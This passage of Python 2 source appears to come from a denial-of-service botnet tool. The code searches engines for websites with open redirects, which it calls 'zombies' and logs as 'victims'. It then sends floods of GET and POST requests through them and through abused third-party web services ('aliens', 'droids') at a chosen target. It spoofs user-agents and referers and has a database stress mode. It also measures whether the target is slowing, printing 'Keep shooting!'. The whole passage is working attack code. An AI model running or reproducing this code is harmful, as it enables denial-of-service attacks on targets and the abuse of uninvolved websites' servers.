  1987. print '-'*25
  1988. print "\n[AI] "+self.exit_msg+"\n"
  1989. return
  1990. def create_web_interface(self):
  1991. # launch webserver+gui
  1992. from webgui import ClientThread
  1993. import webbrowser
  1994. host = '0.0.0.0'
  1995. port = 9999
  1996. try:
  1997. webbrowser.open('http://127.0.0.1:9999', new=1)
  1998. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1999. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  2000. tcpsock.bind((host,port))
  2001. while True:
  2002. tcpsock.listen(4)
  2003. #print "Listening for incoming connections on http://%s:%d" % (host,port)
  2004. (clientsock, (ip, port)) = tcpsock.accept()
  2005. newthread = ClientThread(ip, port, clientsock)
  2006. newthread.start()
  2007. except (KeyboardInterrupt, SystemExit):
  2008. sys.exit()
  2009. def extract_dorks(self):
  2010. # extract dorks from file (ex: 'dorks.txt')
  2011. try:
  2012. f = open(self.dorks_file)
  2013. dorks = f.readlines()
  2014. dorks = [ dork.replace('\n','') for dork in dorks ]
  2015. f.close()
  2016. if not dorks:
  2017. if not options.autosearch:
  2018. print "[Error] [AI] [Control] Cannot retrieve [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n"
  2019. return
  2020. else:
  2021. return dorks
  2022. except:
  2023. if not options.autosearch:
  2024. if os.path.exists(self.dorks_file) == True:
  2025. print "[Error] [AI] [Control] Cannot open [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n"
  2026. return #sys.exit(2)
  2027. else:
  2028. print "[Error] [AI] [Control] Cannot found [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n"
  2029. return #sys.exit(2)
  2030. else:
  2031. return
  2032. def search_zombies(self, dork, zombies_found):
  2033. # crawlering on search engine results to extract zombies
  2034. options = self.options
  2035. zombies = []
  2036. if not options.engine: # default search engine
  2037. options.engine = 'yahoo'
  2038. if options.engine == 'bing': # using bing [13/12/2018: OK!]
  2039. url = 'https://www.bing.com/search?'
  2040. if options.search: # search from query
  2041. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  2042. if options.dorks or options.autosearch: # search from a dork
  2043. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  2044. start = 0 # set index number of first entry
  2045. query_string = { 'q':q, 'first':start }
  2046. data = urllib.urlencode(query_string)
  2047. url = url + data
  2048. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2049. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2050. if options.verbose:
  2051. print("Query used: " + url + "\n")
  2052. try:
  2053. if options.proxy: # set proxy
  2054. self.proxy_transport(options.proxy)
  2055. req = urllib2.Request(url, None, headers)
  2056. req_reply = urllib2.urlopen(req, context=self.ctx).read()
  2057. except:
  2058. print('[Error] [AI] Unable to connect to: bing\n')
  2059. if options.allengines or options.autosearch:
  2060. return
  2061. if not options.dorks or not options.autosearch:
  2062. if not self.options.forceyes:
  2063. update_reply = raw_input("[AI] Do you want to try a different search engine? (Y/n)")
  2064. else:
  2065. update_reply = "Y"
  2066. if update_reply == "n" or update_reply == "N":
  2067. return #sys.exit(2)
  2068. print "\nSearch engines available:"
  2069. print '-'*25
  2070. for e in self.search_engines:
  2071. print "+ "+e
  2072. print '-'*25
  2073. print "\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'"
  2074. return #sys.exit(2)
  2075. else:
  2076. req_reply = ''
  2077. regex = '<li class="b_algo"><h2><a href="(.+?)">' # regex magics
  2078. pattern = re.compile(regex)
  2079. url_links = re.findall(pattern, req_reply)
  2080. elif options.engine == 'yahoo': # yahoo [13/12/2018: OK!]
  2081. #location = ['fr', 'de', 'es', 'nl', 'it', 'se', 'ch', 'jp', 'ru', 'lt'] # generate 'flags' for location servers to evade Yahoo anti-dorking on main search webpage [grey magic: 18/08/2016]
  2082. location = ['fr', 'de', 'es', 'nl', 'se', 'ch', 'ru'] # [08/04/2017]
  2083. location = str(random.choice(location).strip()) # shuffle location
  2084. url = 'https://'+location+'.search.yahoo.com/search?'
  2085. if options.search: # search from query
  2086. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  2087. if options.dorks or options.autosearch: # search from a dork
  2088. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  2089. start = 0 # set index number of first entry
  2090. query_string = { 'p':q, 'b':start }
  2091. data = urllib.urlencode(query_string)
  2092. url = url + data
  2093. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2094. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2095. if options.verbose:
  2096. print("Query used: " + url + "\n")
  2097. try:
  2098. if options.proxy: # set proxy
  2099. self.proxy_transport(options.proxy)
  2100. req = urllib2.Request(url, None, headers)
  2101. req_reply = urllib2.urlopen(req, context=self.ctx).read()
  2102. except:
  2103. print('[Error] [AI] Unable to connect to: yahoo\n')
  2104. if options.allengines or options.autosearch:
  2105. return
  2106. if not options.dorks or not options.autosearch:
  2107. if not self.options.forceyes:
  2108. update_reply = raw_input("[AI] Do you want to try a different search engine? (Y/n)")
  2109. else:
  2110. update_reply = "Y"
  2111. if update_reply == "n" or update_reply == "N":
  2112. return #sys.exit(2)
  2113. print "\nSearch engines available:"
  2114. print '-'*25
  2115. for e in self.search_engines:
  2116. print "+ "+e
  2117. print '-'*25
  2118. print "\nEx: ufonet -s 'proxy.php?url=' --se 'bing'"
  2119. return #sys.exit(2)
  2120. else:
  2121. req_reply = ''
  2122. #regex = '<h3 class="title"><a style="color:#2C46C7" class=" td-u" href="(.+?)" target="_blank"' # regex magics [18/08/2016]
  2123. regex = 'href="(.+?)" target="_blank" data' # regex magics [08/04/2017]
  2124. pattern = re.compile(regex)
  2125. url_links = re.findall(pattern, req_reply)
  2126. else: # no valid search engine
  2127. print('[Error] [AI] This search engine is not supported!\n')
  2128. if not options.dorks or options.autosearch:
  2129. if not self.options.forceyes:
  2130. update_reply = raw_input("[AI] Do you want to try a different search engine? (Y/n)")
  2131. else:
  2132. update_reply = "Y"
  2133. if update_reply == "n" or update_reply == "N":
  2134. return #sys.exit(2)
  2135. print "\nSearch engines available:"
  2136. print '-'*25
  2137. for e in self.search_engines:
  2138. print "+ "+e
  2139. print '-'*25
  2140. print "\nEx: ufonet -s 'proxy.php?url=' --se 'bing'"
  2141. return #sys.exit(2)
  2142. else:
  2143. req_reply = ''
  2144. if options.num_results: # set number of results to search
  2145. try:
  2146. num = int(options.num_results)
  2147. except:
  2148. print("You should specify an integer!!!. Using default value: 10\n")
  2149. num = 10
  2150. else:
  2151. num = 10
  2152. total_results = 1
  2153. for url in url_links: # general parse on urls
  2154. if int(num) < int(total_results):
  2155. break
  2156. if options.engine == "bing":
  2157. if " h=" in url: # regex magics [18/08/2016]
  2158. url = url.rsplit('" h=',1)[0]
  2159. if options.engine == "yahoo":
  2160. if 'RU=' in url: # regex magics [18/08/2016]
  2161. url = url.rsplit('RU=',1)[1]
  2162. if 'UTF-8&u=' in url: # regex magics [05/02/2018]
  2163. url = url.rsplit('UTF-8&u=',1)[1]
  2164. total_results = total_results + 1 # results counter
  2165. url_link = url.strip('?q=') # parse url_links to retrieve only a url
  2166. url_link = urllib.unquote(url_link).decode('utf8') # unquote encoding
  2167. if options.search:
  2168. sep = str(options.search)
  2169. if options.dorks or options.autosearch:
  2170. sep = str(dork)
  2171. url_link = url_link.rsplit(sep, 1)[0] + sep
  2172. if 'href="' in url_link:
  2173. url_link = url_link.rsplit('href="', 1)[1]
  2174. if "instreamset" in url_link: # invalid zombie
  2175. url_link = "" # discarded
  2176. if '" ' in url_link:
  2177. url_link = url_link.rsplit('" ', 1)[1]
  2178. if options.engine in url_link:
  2179. url_link = "" # discarded
  2180. if 'http' not in url_link:
  2181. url_link = "" # discarded
  2182. else:
  2183. if url_link not in zombies and url_link+os.linesep not in zombies_found and url_link is not "": # AI mode (parsing search engines mixed pool and stored army)
  2184. print('+Victim found: ' + url_link)
  2185. print '-'*12
  2186. zombies.append(url_link)
  2187. else:
  2188. pass
  2189. if len(zombies) == 0: # print dorking results
  2190. print "[Info] [AI] NOT any NEW victim(s) found for this query!"
  2191. if not options.dorks:
  2192. if not options.autosearch:
  2193. if not self.options.forceyes:
  2194. return #sys.exit(2)
  2195. print "\n" + '-'*44 + '\n'
  2196. self.total_possible_zombies = self.total_possible_zombies + len(zombies)
  2197. return zombies
  2198. def check_nat(self):
  2199. # check for NAT configuration
  2200. options = self.options
  2201. tor_reply = urllib2.urlopen(self.check_tor_url).read() # check if TOR is enabled
  2202. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip()
  2203. check_ip_service = None
  2204. if not tor_reply or 'Congratulations' not in tor_reply:
  2205. print("[Info] [AI] It seems that you are not using TOR to recieve data. -> [OK!]\n")
  2206. else:
  2207. print("[Error] [AI] You are using TOR as public IP... It's not possible to NAT! -> [Aborting!]\n")
  2208. self.nat_error_flag = "ON"
  2209. return #sys.exit(2)
  2210. try:
  2211. data = str(urlopen(self.check_ip_service1).read()) # check for public ip
  2212. self.pub_ip = re.compile(r'Address: (\d+\.\d+\.\d+\.\d+)').search(data).group(1)
  2213. check_ip_service = self.check_ip_service1
  2214. except:
  2215. try: # another check for public ip
  2216. data = str(urlopen(self.check_ip_service2).read())
  2217. self.pub_ip = re.compile(r'">(\d+\.\d+\.\d+\.\d+)</span>').search(data).group(1)
  2218. check_ip_service = self.check_ip_service2
  2219. except:
  2220. print("[Error] [AI] Something wrong checking your public IP! -> [Exiting!]\n")
  2221. self.nat_error_flag = "ON"
  2222. return
  2223. t = urlparse(check_ip_service)
  2224. name_service = t.netloc
  2225. print " + Public: " + self.pub_ip + " | "+name_service+"\n"
  2226. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  2227. s.connect(('8.8.8.8', 0)) # connecting to a UDP address doesn't send packets (black magic)
  2228. self.local_ip = s.getsockname()[0]
  2229. print " + Local: " + self.local_ip + "\n"
  2230. print '='*22 + '\n'
  2231. def extract_ucavs(self):
  2232. # extract ucavs from file
  2233. options = self.options
  2234. try:
  2235. f = open(self.ucavs_file)
  2236. ucavs = f.readlines()
  2237. ucavs = [ ucav.replace('\n','') for ucav in ucavs ]
  2238. f.close()
  2239. if not ucavs:
  2240. print "[Info] [AI] [Control] Cannot retrieve [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]"
  2241. self.options.disableucavs = True
  2242. return
  2243. else:
  2244. return ucavs
  2245. except:
  2246. if os.path.exists(self.ucavs_file) == True:
  2247. print "[Info] [AI] [Control] Cannot open [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]"
  2248. return #sys.exit(2)
  2249. else:
  2250. print "[Info] [AI] [Control] Cannot found [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]"
  2251. return #sys.exit(2)
  2252. def discarding_ucavs(self, ucav, ucavs):
  2253. if ucav in self.discard_ucavs:
  2254. ucavs.remove(ucav)
  2255. if self.options.verbose:
  2256. print("[Info] [AI] [Control] [UCAVs] "+str(ucav)+" is not working! -> [Discarding!]")
  2257. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  2258. return ucavs
  2259. def send_ucavs(self, ucavs):
  2260. # extract external status checkers, perform a request and check results
  2261. time.sleep(5) # aiming (multi-threading flow time compensation)
  2262. if not self.options.disablepurge:
  2263. if not ucavs: # return when not any working
  2264. self.options.disableucavs = True
  2265. return
  2266. options = self.options
  2267. target = self.options.target
  2268. shuffle(ucavs) # shuffle ucavs order, each round :-)
  2269. if not self.options.disablepurge:
  2270. for ucav in ucavs:
  2271. if not ucav.startswith('http'): # discarded inmediately
  2272. self.discard_ucavs.append(ucav)
  2273. self.num_discard_ucavs = self.num_discard_ucavs + 1
  2274. ucavs = self.discarding_ucavs(ucav, ucavs) # check if ucav is failing for autobalance army
  2275. if not self.options.disablepurge:
  2276. if not ucavs: # return when not any working
  2277. self.options.disableucavs = True
  2278. return
  2279. shuffle(ucavs) # shuffle ucavs order, each discarding check :-)
  2280. for ucav in ucavs:
  2281. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2282. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2283. if target.startswith("http://"): # parse target for some checkers
  2284. target = target.replace('http://','')
  2285. elif target.startswith("https://"):
  2286. target = target.replace('https://','')
  2287. url = ucav + target
  2288. t = urlparse(ucav)
  2289. name_ucav = t.netloc
  2290. if name_ucav == "":
  2291. name_ucav = ucav
  2292. if options.verbose:
  2293. print("[Info] [UCAVs] Sniping: " + url)
  2294. try:
  2295. if options.proxy: # set proxy
  2296. self.proxy_transport(options.proxy)
  2297. if options.timeout: # set timeout
  2298. ucav_timeout = options.timeout
  2299. else:
  2300. ucav_timeout = 1
  2301. if ucav_timeout < 1:
  2302. ucav_timeout = 1
  2303. req = urllib2.Request(url, None, headers)
  2304. target_reply = urllib2.urlopen(req, context=self.ctx, timeout=ucav_timeout).read()
  2305. self.ucavs_hit = self.ucavs_hit + 1 # add ucav hit to stats
  2306. except:
  2307. print "[Info] [UCAVs] " + name_ucav + " -> FAILED (cannot connect!)"
  2308. if not self.options.disablepurge:
  2309. self.discard_ucavs.append(ucav)
  2310. self.num_discard_ucavs = self.num_discard_ucavs + 1
  2311. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  2312. target_reply = ""
  2313. if target_reply == "": # check for target's status resolved by [UCAVs]
  2314. pass
  2315. else:
  2316. if not "is down" or not "looks down" in target_reply: # parse external service for reply
  2317. print "[Info] [UCAVs] " + name_ucav + " -> Target is ONLINE! -> [Keep shooting!]"
  2318. self.num_is_up = self.num_is_up + 1
  2319. else:
  2320. print "[Info] [UCAVs] " + name_ucav + " -> Target looks OFFLINE! -> [Checking!]"
  2321. self.num_is_down = self.num_is_down + 1
  2322. if self.options.verbose:
  2323. print "[Info] [AI] [UCAVs] "+str(name_ucav)+" is returning..."
  2324. self.extra_zombies_lock = False # [ARMY] have finished
  2325. def extract_median(self, num_list):
  2326. # extract median form a list of numbers
  2327. num_list.sort()
  2328. z = len(num_list)
  2329. if not z%2:
  2330. return (float(num_list[(z/2)-1])+float(num_list[z/2]))/2
  2331. else:
  2332. return float(num_list[z/2])
  2333. def check_is_loading(self, target):
  2334. # perform a broadband test (using GET) to analize target's reply to the traffic generated each round
  2335. self.start = None
  2336. self.stop = None
  2337. print '\n---------'
  2338. print "\n[Info] [AI] Scanning target to check for levels on defensive shields...\n"
  2339. if target.endswith(""):
  2340. target.replace("", "/")
  2341. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2342. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2343. try:
  2344. req = urllib2.Request(target, None, headers)
  2345. if self.options.proxy: # set proxy
  2346. self.proxy_transport(self.options.proxy)
  2347. if self.options.timeout: # set timeout
  2348. try:
  2349. timeout = int(self.options.timeout)
  2350. except:
  2351. timeout = 1
  2352. else:
  2353. timeout = 1
  2354. if timeout < 1:
  2355. timeout = 1
  2356. self.start = time.time()
  2357. target_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  2358. header = urllib2.urlopen(req, context=self.ctx).info()
  2359. self.stop = time.time()
  2360. except:
  2361. print('[Info] [AI] Our scanner cannot connect to the target this round! -> [Skipping!]\n')
  2362. return
  2363. try:
  2364. s, size_name = self.convert_size(len(target_reply))
  2365. self.loadcheck_size_list.append(s) # add record to size list
  2366. size = '%s %s' % (s,size_name)
  2367. except:
  2368. size = "Error!"
  2369. try:
  2370. time_required = self.stop - self.start
  2371. load = self.convert_time(time_required)
  2372. self.loadcheck_load_list.append(load) # add record to load list
  2373. except:
  2374. load = "Error!"
  2375. self.loadcheck_counter = self.loadcheck_counter + 1
  2376. print ' -Total tests:', self.loadcheck_counter, "\n"
  2377. if self.loadcheck_prev_size is not None and self.loadcheck_prev_load is not None:
  2378. lsm = self.extract_median(self.loadcheck_size_list)
  2379. if lsm is not None:
  2380. self.loadcheck_size_median = str(lsm) + " " + size_name
  2381. else:
  2382. self.loadcheck_size_median = None
  2383. llm = self.extract_median(self.loadcheck_load_list)
  2384. if llm is not None:
  2385. self.loadcheck_load_median = str(llm) + " seconds"
  2386. else:
  2387. self.loadcheck_load_median = None
  2388. if self.loadcheck_counter == 2: # first round
  2389. print ' -Bytes in (first round) :', self.loadcheck_first_size
  2390. print ' -Bytes in (this round) :', size
  2391. if self.loadcheck_size_median is not None:
  2392. print ' -Bytes in (median) :', self.loadcheck_size_median
  2393. print ' ----'
  2394. print ' -Load time (first round) :', self.loadcheck_first_load, "seconds"
  2395. print ' -Load time (this round) :', load, "seconds"
  2396. if self.loadcheck_load_median is not None:
  2397. print ' -Load time (median) :', self.loadcheck_load_median, "\n"
  2398. else:
  2399. print "\n"
  2400. self.loadcheck_size_max = None
  2401. self.loadcheck_size_min = None
  2402. self.loadcheck_load_max = None
  2403. self.loadcheck_load_min = None
  2404. elif self.loadcheck_counter > 2: # rest of rounds
  2405. lsmax = max(self.loadcheck_size_list)
  2406. if lsmax is not None:
  2407. self.loadcheck_size_max = str(lsmax) + " " + size_name
  2408. else:
  2409. self.loadcheck_size_max = None
  2410. lsmin = min(self.loadcheck_size_list)
  2411. if lsmin is not None:
  2412. self.loadcheck_size_min = str(lsmin) + " " + size_name
  2413. else:
  2414. self.loadcheck_size_min = None
  2415. llmax = max(self.loadcheck_load_list)
  2416. if llmax is not None:
  2417. self.loadcheck_load_max = str(llmax) + " seconds"
  2418. else:
  2419. self.loadcheck_load_max = None
  2420. llmin = min(self.loadcheck_load_list)
  2421. if llmin is not None:
  2422. self.loadcheck_load_min = str(llmin) + " seconds"
  2423. else:
  2424. self.loadcheck_load_min = None
  2425. print ' -Bytes in (first round) :', self.loadcheck_first_size
  2426. print ' -Bytes in (previous round) :', self.loadcheck_prev_size
  2427. print ' -Bytes in (this round) :', size
  2428. if self.loadcheck_size_max is not None:
  2429. print ' -Bytes in (max) :', self.loadcheck_size_max
  2430. if self.loadcheck_size_min is not None:
  2431. print ' -Bytes in (min) :', self.loadcheck_size_min
  2432. if self.loadcheck_size_median is not None:
  2433. print ' -Bytes in (median) :', self.loadcheck_size_median
  2434. print ' ----'
  2435. print ' -Load time (first round) :', self.loadcheck_first_load, "seconds"
  2436. print ' -Load time (previous round):', self.loadcheck_prev_load, "seconds"
  2437. print ' -Load time (this round) :', load, "seconds"
  2438. if self.loadcheck_load_max is not None:
  2439. print ' -Load time (max) :', self.loadcheck_load_max
  2440. if self.loadcheck_load_min is not None:
  2441. print ' -Load time (min) :', self.loadcheck_load_min
  2442. if self.loadcheck_load_median is not None:
  2443. print ' -Load time (median) :', self.loadcheck_load_median, "\n"
  2444. else:
  2445. print "\n"
  2446. if self.loadcheck_prev_load < load: # target is loading more slowly
  2447. print "[Info] [Scanner] Target is serving the content more slowly this round! ;-) -> [Keep shooting!]\n"
  2448. elif self.loadcheck_prev_load == load: # inmutable target
  2449. print "[Info] [Scanner] Attack is not having any effect on your target this round... -> [Keep shooting!]\n"
  2450. elif self.loadcheck_prev_load > load: # is target defending?
  2451. print "[Info] [Scanner] Target is loading this round faster than the previous one! -> [o_0]\n"
  2452. else:
  2453. print ' -Bytes in (this round) :', size
  2454. print ' -Load time (this round):', load, "seconds\n"
  2455. self.loadcheck_first_size = size
  2456. self.loadcheck_first_load = load
  2457. self.loadcheck_size_median = None
  2458. self.loadcheck_load_median = None
  2459. self.loadcheck_size_max = None
  2460. self.loadcheck_size_min = None
  2461. self.loadcheck_load_max = None
  2462. self.loadcheck_load_min = None
  2463. self.loadcheck_prev_size = size # record previous size
  2464. self.loadcheck_prev_load = load # record previous load
  2465. def convert_size(self, size):
  2466. if (size == 0):
  2467. return '0 B'
  2468. size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
  2469. i = int(math.floor(math.log(size,1024)))
  2470. p = math.pow(1024,i)
  2471. s = round(size/p,2)
  2472. return s, size_name[i]
  2473. def convert_time(self, time):
  2474. return '%.2f' % time
  2475. def discarding_zombies(self, zombie, zombies):
  2476. if zombie in self.discardzombies:
  2477. zombies.remove(zombie)
  2478. if self.options.verbose:
  2479. print("[Info] [AI] [Control] [Zombies] "+str(zombie)+" is not working! -> [Discarding!]")
  2480. return zombies
  2481. def send_zombies(self, zombies):
  2482. # send Open Redirect zombies
  2483. time.sleep(1) # aiming (multi-threading flow time compensation)
  2484. if not self.options.disablepurge:
  2485. if not zombies:
  2486. self.empty_zombies = True
  2487. return
  2488. if self.options.verbose:
  2489. print "[Info] [AI] [Control] Deploying [Zombies] with 'maser-melee' weapons..."
  2490. options = self.options
  2491. target = self.options.target
  2492. shuffle(zombies) # shuffle zombies order, each round :-)
  2493. if not self.options.disablepurge:
  2494. for zombie in zombies: # check if zombie is failing for autobalance army
  2495. if not zombie.startswith('http'): # discarded inmediately
  2496. self.discardzombies.append(zombie)
  2497. self.num_discard_zombies = self.num_discard_zombies + 1
  2498. zombies = self.discarding_zombies(zombie, zombies)
  2499. if not self.options.disablepurge:
  2500. if not zombies: # return when not any working
  2501. self.empty_zombies = True
  2502. return
  2503. for zombie in zombies:
  2504. t = urlparse(zombie)
  2505. name_zombie = t.netloc
  2506. if name_zombie == "":
  2507. name_zombie = zombie
  2508. if not self.options.attackme:
  2509. print "[Info] [Zombies] Attacking from: " + name_zombie
  2510. else: # on attackme, target url is dynamic -> http://public_ip:port/hash|zombie
  2511. self.mothership_hash = random.getrandbits(128) # generating random evasion hash
  2512. target = "http://" + str(self.pub_ip) + ":" + self.port + "/"+ str(self.mothership_hash) + "|" + zombie
  2513. self.options.target = target
  2514. print "[Info] [Zombies] Attacking: " + str(self.pub_ip) + ":" + self.port + " -> [LAN]" + self.local_ip + ":" + self.port
  2515. print "[Info] [Zombies] Payload: " + target
  2516. print '='*55, "\n"
  2517. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2518. if not options.target.startswith('http'):
  2519. if options.forcessl:
  2520. options.target = "https://" + options.target
  2521. else:
  2522. options.target = "http://" + options.target
  2523. self.attack_mode = True
  2524. try:
  2525. if options.verbose:
  2526. print "[Info] [Zombies] Sniping: " + options.target
  2527. self.connect_zombies(zombie)
  2528. if self.options.dbstress: # try to stress db on target by using vulnerable Open Redirect web servers
  2529. self.db_flash = self.db_flash + 1
  2530. stress = self.stressing(target, zombie)
  2531. except Exception:
  2532. print "[Info] [Zombies] " + zombie + " -> FAILED (cannot connect!)"
  2533. self.total_zombies_failed_connection = self.total_zombies_failed_connection + 1 # used to manage threading pool
  2534. if not self.options.disablepurge:
  2535. self.discardzombies.append(zombie)
  2536. self.num_discard_zombies = self.num_discard_zombies + 1
  2537. if self.options.verbose:
  2538. print "[Info] [AI] [Zombies] "+str(name_zombie)+" is returning..."
  2539. self.attack_mode = False
  2540. def discarding_aliens(self, alien, aliens):
  2541. if alien in self.discard_aliens:
  2542. aliens.remove(alien)
  2543. if self.options.verbose:
  2544. print("[Info] [AI] [Control] [Aliens] "+str(alien)+" is not working! -> [Discarding!]")
  2545. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  2546. return aliens
  2547. def send_aliens(self, aliens):
  2548. # extract external web abuse services urls (POST) and perform requests against target
  2549. time.sleep(2) # aiming (multi-threading flow time compensation)
  2550. if not self.options.disablepurge:
  2551. if not aliens: # return when not any working
  2552. self.options.disablealiens = True
  2553. return
  2554. target = self.options.target
  2555. options = self.options
  2556. shuffle(aliens) # shuffle aliens
  2557. if not self.options.disablepurge:
  2558. for alien in aliens:
  2559. if not alien.startswith('http'): # discarded inmediately
  2560. self.discard_aliens.append(alien)
  2561. self.num_discard_aliens = self.num_discard_aliens + 1
  2562. aliens = self.discarding_aliens(alien, aliens) # check if alien is failing for autobalance army
  2563. if not self.options.disablepurge:
  2564. if not aliens: # return when not any working
  2565. self.options.disablealiens = True
  2566. return
  2567. shuffle(aliens) # shuffle aliens order, each discarding check :-)
  2568. for alien in aliens:
  2569. if "$POST" in alien: # extract alien/parameters -> search for $POST delimiter on 'aliens.txt' file
  2570. regex_alien = re.compile('{}(.*){}'.format(re.escape(''), re.escape(';$POST'))) # regex magics
  2571. pattern_alien = re.compile(regex_alien)
  2572. alien_url = re.findall(pattern_alien, alien) # HTTP POST url for submit data
  2573. regex_param = re.compile('{}(.*){}'.format(re.escape('$POST;'), re.escape(''))) # regex magics
  2574. pattern_param = re.compile(regex_param)
  2575. param = re.findall(pattern_param, alien) # HTTP POST params to submit
  2576. for u in alien_url:
  2577. url = u # ex: POST -> path/submit.php
  2578. t = urlparse(url)
  2579. name_alien = t.netloc
  2580. if name_alien == "":
  2581. name_alien = alien
  2582. print "[Info] [Aliens] Attacking from: " + name_alien
  2583. for p in param:
  2584. param_target = {p : target} # ex POST -> url=target
  2585. param_target = urllib.urlencode(param_target)
  2586. try:
  2587. if options.verbose:
  2588. print "[Info] [Aliens] Sniping: " + url + " - POST:", param_target
  2589. if options.proxy: # set proxy
  2590. self.proxy_transport(options.proxy)
  2591. if self.options.timeout: # set timeout
  2592. try:
  2593. alien_timeout = int(self.options.timeout)
  2594. except:
  2595. alien_timeout = 1
  2596. else:
  2597. alien_timeout = 1
  2598. if alien_timeout < 1:
  2599. alien_timeout = 1
  2600. req = urllib2.Request(url, param_target)
  2601. rsp = urllib2.urlopen(req, context=self.ctx, timeout=alien_timeout)
  2602. self.aliens_hit = self.aliens_hit + 1 # add hit to aliens stats
  2603. except Exception:
  2604. print "[Info] [Aliens] " + name_alien + " -> FAILED (cannot connect!)"
  2605. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  2606. if not self.options.disablepurge:
  2607. self.discard_aliens.append(alien)
  2608. self.num_discard_aliens = self.num_discard_aliens + 1
  2609. else:
  2610. print("[Info] [Aliens] "+str(alien)+" -> FAILED (invalid alien!)")
  2611. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  2612. if not self.options.disablepurge:
  2613. self.discard_aliens.append(alien)
  2614. self.num_discard_aliens = self.num_discard_aliens + 1
  2615. if self.options.verbose:
  2616. print "[Info] [AI] [Aliens] "+str(name_alien)+" is returning..."
  2617. if self.options.disabledroids and self.options.disablerpcs and self.options.disableucavs:
  2618. self.extra_zombies_lock = False # [ARMY] have finished
  2619. def extract_aliens(self):
  2620. # extract aliens from file
  2621. options = self.options
  2622. try:
  2623. f = open(self.aliens_file)
  2624. aliens = f.readlines()
  2625. aliens = [ alien.replace('\n','') for alien in aliens ]
  2626. f.close()
  2627. if not aliens:
  2628. print "[Info] [AI] [Control] Cannot retrieve [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]"
  2629. self.options.disablealiens = True
  2630. return
  2631. else:
  2632. return aliens
  2633. except:
  2634. if os.path.exists(self.aliens_file) == True:
  2635. print "[Info] [AI] [Control] Cannot open [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]"
  2636. return #sys.exit(2)
  2637. else:
  2638. print "[Info] [AI] [Control] Cannot found [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]"
  2639. return #sys.exit(2)
  2640. def discarding_droids(self, droid, droids):
  2641. if droid in self.discard_droids:
  2642. droids.remove(droid)
  2643. if self.options.verbose:
  2644. print("[Info] [AI] [Control] [Droids] "+str(droid)+" is not working! -> [Discarding!]")
  2645. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  2646. return droids
  2647. def send_droids(self, droids):
  2648. # extract external web abuse services urls (GET) and perform requests against target
  2649. time.sleep(3) # aiming (multi-threading flow time compensation)
  2650. if not self.options.disablepurge:
  2651. if not droids: # return when not any working
  2652. self.options.disabledroids = True
  2653. return
  2654. target = self.options.target
  2655. target = urllib.unquote(target).decode('utf8') # parte urlencoding
  2656. if target.startswith('http://'): # remove http
  2657. target = target.replace('http://', '')
  2658. if target.startswith('https://'):
  2659. target = target.replace('https://', '') # remove https
  2660. options = self.options
  2661. shuffle(droids) # shuffle droids
  2662. if not self.options.disablepurge:
  2663. for droid in droids:
  2664. if not droid.startswith('http'): # discarded inmediately
  2665. self.discard_droids.append(droid)
  2666. self.num_discard_droids = self.num_discard_droids + 1
  2667. droids = self.discarding_droids(droid, droids) # check if droid is failing for autobalance army
  2668. if not self.options.disablepurge:
  2669. if not droids: # return when not any working
  2670. self.options.disabledroids = True
  2671. return
  2672. shuffle(droids) # shuffle droids order, each discarding check :-)
  2673. for droid in droids:
  2674. if "$TARGET" in droid: # replace droid/parameter for target
  2675. url = droid.replace("$TARGET", target)
  2676. t = urlparse(url)
  2677. name_droid = t.netloc
  2678. if name_droid == "":
  2679. name_droid = droid
  2680. print "[Info] [Droids] Attacking from: " + name_droid
  2681. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2682. headers = {'User-Agent' : self.user_agent, 'Content-type' : "application/x-www-form-urlencoded", 'Referer' : self.referer, 'Connection' : 'keep-alive'} # set fake headers
  2683. try:
  2684. if options.proxy: # set proxy
  2685. self.proxy_transport(options.proxy)
  2686. if self.options.timeout: # set timeout
  2687. try:
  2688. droid_timeout = int(self.options.timeout)
  2689. except:
  2690. droid_timeout = 1
  2691. else:
  2692. droid_timeout = 1
  2693. if droid_timeout < 1:
  2694. droid_timeout = 1
  2695. req = urllib2.Request(url, None, headers)
  2696. rsp = urllib2.urlopen(req, context=self.ctx, timeout=droid_timeout)
  2697. self.droids_hit = self.droids_hit + 1 # add hit to droids stats
  2698. except Exception:
  2699. print "[Info] [Droids] " + name_droid + " -> FAILED (cannot connect!)"
  2700. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  2701. if not self.options.disablepurge:
  2702. self.discard_droids.append(droid)
  2703. self.num_discard_droids = self.num_discard_droids + 1
  2704. else:
